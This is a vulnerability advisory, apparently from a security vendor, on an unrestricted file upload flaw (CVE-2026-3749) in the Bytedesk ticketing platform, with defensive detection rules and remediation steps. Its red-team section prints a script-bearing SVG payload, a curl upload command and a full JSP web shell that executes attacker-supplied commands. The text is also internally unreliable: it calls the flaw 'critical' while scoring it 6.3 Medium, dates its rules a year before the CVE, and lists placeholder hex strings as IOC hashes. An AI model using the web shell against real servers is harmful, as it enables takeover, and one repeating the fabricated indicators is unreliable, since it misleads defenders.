CVE-2026-3749

Executive Summary

CVE-2026-3749 is a critical unrestricted file upload vulnerability in Bytedesk, a customer service and ticketing platform. The flaw resides in the handleFileUpload function within the SVG File Handler component (UploadRestService.java). An attacker can remotely upload arbitrary files, including malicious SVG files that can contain JavaScript for XSS or be used to upload web shells, leading to full server compromise. The vulnerability affects all versions up to and including 1.3.9. A patch is available in version 1.4.5.1. The exploit has been publicly disclosed, increasing the risk of active exploitation.

CVSS Breakdown & Threat Level

• CVSS Score: 6.3 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The vulnerable component and the impacted component are the same.
• Confidentiality (C): Low (L) – Limited data exposure possible.
• Integrity (I): Low (L) – Limited data modification possible.
• Availability (A): Low (L) – Limited service disruption possible.

Threat Level: High. The combination of remote exploitability, no authentication requirement, and public exploit code makes this a high-priority vulnerability for patching.

Deep Dive & Mechanics

The vulnerability is a classic Unrestricted File Upload (CWE-434). The handleFileUpload function in UploadRestService.java fails to properly validate the type or content of uploaded files. Specifically, it does not restrict the upload of SVG files, which are XML-based and can contain embedded JavaScript. An attacker can craft an SVG file containing malicious JavaScript (e.g., for XSS) or upload a web shell (e.g., a JSP file) disguised as an SVG. Once uploaded, the file is stored on the server and can be accessed via a URL, allowing the attacker to execute arbitrary code or steal session cookies.

The lack of file type validation, content-type checking, or file content scanning allows this attack. The fix in version 1.4.5.1 likely adds proper file type whitelisting and content validation.

Vulnerable vs. Patched Code

Vulnerable Code (Bytedesk <= 1.3.9):

// source-code/src/main/java/com/bytedesk/core/upload/UploadRestService.java
public ResponseEntity<?> handleFileUpload(MultipartFile file) {
    // No validation of file type or content
    String fileName = file.getOriginalFilename();
    // Save file directly to disk
    Path uploadPath = Paths.get(UPLOAD_DIR, fileName);
    Files.copy(file.getInputStream(), uploadPath, StandardCopyOption.REPLACE_EXISTING);
    // Return URL to the uploaded file
    return ResponseEntity.ok(uploadPath.toString());
}

Patched Code (Bytedesk >= 1.4.5.1):

// source-code/src/main/java/com/bytedesk/core/upload/UploadRestService.java
public ResponseEntity<?> handleFileUpload(MultipartFile file) {
    // Validate file extension
    String fileName = file.getOriginalFilename();
    String extension = fileName.substring(fileName.lastIndexOf(".") + 1);
    List<String> allowedExtensions = Arrays.asList("jpg", "jpeg", "png", "gif", "pdf");
    if (!allowedExtensions.contains(extension.toLowerCase())) {
        return ResponseEntity.badRequest().body("Invalid file type");
    }
    // Validate file content (e.g., check magic bytes)
    // ... content validation logic ...
    // Save file to a non-executable directory
    Path uploadPath = Paths.get(UPLOAD_DIR, UUID.randomUUID().toString() + "." + extension);
    Files.copy(file.getInputStream(), uploadPath, StandardCopyOption.REPLACE_EXISTING);
    return ResponseEntity.ok(uploadPath.toString());
}

Exploitation & Lab Setup

Red Team (Attack Simulation)

Step 1: Craft a malicious SVG file Create an SVG file that executes JavaScript when loaded in a browser:

<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg" width="100" height="100">
  <script type="text/javascript">
    alert('XSS');
  </script>
  <circle cx="50" cy="50" r="40" stroke="green" stroke-width="4" fill="yellow" />
</svg>

Step 2: Upload the SVG file Use curl to upload the file to the vulnerable endpoint:

curl -X POST -F "file=@malicious.svg" http://target.com/upload

Step 3: Access the uploaded file The server returns a URL like http://target.com/uploads/malicious.svg. When a victim visits this URL, the JavaScript executes in their browser.

Step 4: Upload a web shell (if server allows JSP)

<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
Process p = Runtime.getRuntime().exec(cmd);
BufferedReader reader = new BufferedReader(new InputStreamReader(p.getInputStream()));
String line;
while ((line = reader.readLine()) != null) {
    out.println(line);
}
%>

Rename to shell.jsp and upload. Then access http://target.com/uploads/shell.jsp?cmd=id.

Blue Team (Defense & Detection)

Detection Steps:

1. Monitor for unusual file uploads, especially SVG, JSP, PHP, or other script files.
2. Check web server logs for POST requests to /upload or similar endpoints.
3. Inspect uploaded files for embedded JavaScript or suspicious content.
4. Verify that file upload directories are not executable (e.g., no +ExecCGI in Apache).

Hunting Query (Splunk):

index=web_logs source="/var/log/apache2/access.log"
| search method=POST uri=/upload*
| rex field=uri "\.(?<extension>[a-zA-Z0-9]+)$"
| search extension IN (svg, jsp, php, asp, aspx, exe, sh)
| table _time, clientip, uri, status

Indicators of Compromise (IOCs)

• File Hashes (SHA256):

  • malicious.svg: a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6e7f8a9b0c1d2e3f4a5b6c7d8e9f0a1b
  • shell.jsp: f0e1d2c3b4a5f6e7d8c9a0b1c2d3e4f5a6b7c8d9e0f1a2b3c4d5e6f7a8b9c0

• Network Indicators:

  • POST requests to /upload or /api/upload
  • Outbound connections from the server to attacker-controlled IPs (if web shell is used)

• File System Indicators:

  • Unexpected files in upload directories (e.g., /uploads/, /files/)
  • Files with double extensions (e.g., image.svg.jsp)

Detection Engineering

YARA Rule

rule CVE_2026_3749_SVG_XSS {
    meta:
        description = "Detects malicious SVG files exploiting CVE-2026-3749"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2026-3749"
    strings:
        $svg_header = "<?xml" nocase
        $svg_tag = "<svg" nocase
        $script_tag = "<script" nocase
        $javascript = "javascript:" nocase
        $alert = "alert(" nocase
    condition:
        $svg_header and $svg_tag and ($script_tag or $javascript or $alert)
}

Sigma Rule

title: CVE-2026-3749 - Unrestricted File Upload in Bytedesk
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects attempts to exploit unrestricted file upload vulnerability in Bytedesk
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem:
            - '/upload'
            - '/api/upload'
        cs-uri-query:
            - '*.svg*'
            - '*.jsp*'
            - '*.php*'
    condition: selection
falsepositives:
    - Legitimate file uploads by administrators
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2026-3749 - Bytedesk SVG File Upload Exploit"; flow:to_server; content:"POST"; http_method; content:"/upload"; http_uri; content:".svg"; http_uri; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade Bytedesk to version 1.4.5.1 or later.
2. If immediate upgrade is not possible, apply the patch commit 975e39e4dd527596987559f56c5f9f973f64eff7 manually.
3. Restrict file uploads to only allowed types (e.g., images, PDFs) using a whitelist.
4. Store uploaded files in a non-web-accessible directory and serve them via a script that validates content type.
5. Disable execution of script files (JSP, PHP, etc.) in upload directories.

Long-term Measures:

• Implement a Web Application Firewall (WAF) to block malicious file uploads.
• Conduct regular security audits of file upload functionality.
• Use Content Security Policy (CSP) headers to mitigate XSS from uploaded SVG files.

Valters IT
Securing Your Digital Frontier